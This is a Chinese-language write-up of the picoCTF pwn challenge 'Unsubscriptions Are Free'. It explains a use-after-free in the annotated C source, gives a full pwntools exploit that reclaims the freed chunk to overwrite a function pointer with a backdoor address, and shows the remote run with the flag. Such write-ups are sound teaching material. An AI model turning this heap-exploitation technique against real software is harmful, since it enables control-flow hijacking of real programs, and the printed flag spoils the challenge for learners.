题目分析
给出了程序和源码
➜ pwn-Unsubscriptions Are Free pwn checksec vuln
[*] '/home/selph/Downloads/PicoCTF/pwn-Unsubscriptions Are Free/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20
typedef struct {
uintptr_t (*whatToDo)();
char *username;
} cmd;
char choice;
cmd *user;
// 后门函数,要想办法执行这个函数
void hahaexploitgobrrr(){
char buf[FLAG_BUFFER];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAG_BUFFER,f);
fprintf(stdout,"%s\n",buf);
fflush(stdout);
}
char * getsline(void) {
getchar();
char * line = malloc(100), * linep = line;
size_t lenmax = 100, len = lenmax;
int c;
if(line == NULL)
return NULL;
for(;;) {
c = fgetc(stdin);
if(c == EOF)
break;
if(--len == 0) {
len = lenmax;
char * linen = realloc(linep, lenmax *= 2);
if(linen == NULL) {
free(linep);
return NULL;
}
line = linen + (line - linep);
linep = linen;
}
if((*line++ = c) == '\n')
break;
}
*line = '\0';
return linep;
}
void doProcess(cmd* obj) {
(*obj->whatToDo)();
}
// 会打印后门函数的地址
void s(){
printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
puts("Thanks for subsribing! I really recommend becoming a premium member!");
}
void p(){
puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}
void m(){
puts("Account created.");
}
void leaveMessage(){
puts("I only read premium member messages but you can ");
puts("try anyways:");
char* msg = (char*)malloc(8);
read(0, msg, 8);
}
void i(){
char response;
puts("You're leaving already(Y/N)?");
scanf(" %c", &response);
if(toupper(response)=='Y'){
puts("Bye!");
free(user); // UAF
}else{
puts("Ok. Get premium membership please!");
}
}
void printMenu(){
puts("Welcome to my stream! ^W^");
puts("==========================");
puts("(S)ubscribe to my channel");
puts("(I)nquire about account deletion");
puts("(M)ake an Twixer account");
puts("(P)ay for premium membership");
puts("(l)eave a message(with or without logging in)");
puts("(e)xit");
}
// 处理输入
// 设置user->whatToDo为一个函数
void processInput(){
scanf(" %c", &choice);
choice = toupper(choice);
switch(choice){
case 'S':
if(user){
user->whatToDo = (void*)s;
}else{
puts("Not logged in!");
}
break;
case 'P':
user->whatToDo = (void*)p;
break;
case 'I':
user->whatToDo = (void*)i;
break;
case 'M':
user->whatToDo = (void*)m;
puts("===========================");
puts("Registration: Welcome to Twixer!");
puts("Enter your username: ");
user->username = getsline(); // ?
break;
case 'L':
leaveMessage(); // 写入8字节到堆内存
break;
case 'E':
exit(0);
default:
puts("Invalid option!");
exit(1);
break;
}
}
// 32位,无PIE
// 找一个法子能劫持控制流
int main(){
setbuf(stdout, NULL);
user = (cmd *)malloc(sizeof(user));
while(1){
printMenu();
processInput();
//if(user){
doProcess(user);
//}
}
return 0;
}
这里的主程序是个死循环,在循环外头使用malloc申请了内存赋给user变量
在i
选项中,释放了该内存,释放了之后,程序依然在循环内,其他操作依然会使用该内存指针访问内存,执行操作,存在UAF漏洞
该内存前4字节保存的是函数指针,只要修改其为后门函数即可完成利用
漏洞利用
这里的processInput
里,选项L
只是申请8字节内存,而不修改user内的东西
故在释放完user之后,执行L
选项,即可在释放的user内存上重新申请内存
32位的elf程序最小申请到的堆内存是12字节
完整exp:
#!/bin/python3
from pwn import *
FILE_NAME = "./vuln"
REMOTE_HOST = "mercury.picoctf.net"
REMOTE_PORT = 61817
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
io.sendlineafter(b"(e)xit\n",b"i")
io.sendlineafter(b"You're leaving already(Y/N)?\n",b"Y")
io.sendlineafter(b"(e)xit\n",b"l")
io.sendlineafter(b"try anyways:\n",pack(0x80487D6))
运行结果:
➜ pwn-Unsubscriptions Are Free python3 exp.py REMOTE
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
You're leaving already(Y/N)?
Bye!
Welcome to my stream! ^W^
==========================
(S)ubscribe to my channel
(I)nquire about account deletion
(M)ake an Twixer account
(P)ay for premium membership
(l)eave a message(with or without logging in)
(e)xit
I only read premium member messages but you can
try anyways:
picoCTF{d0ubl3_j30p4rdy_1e154727}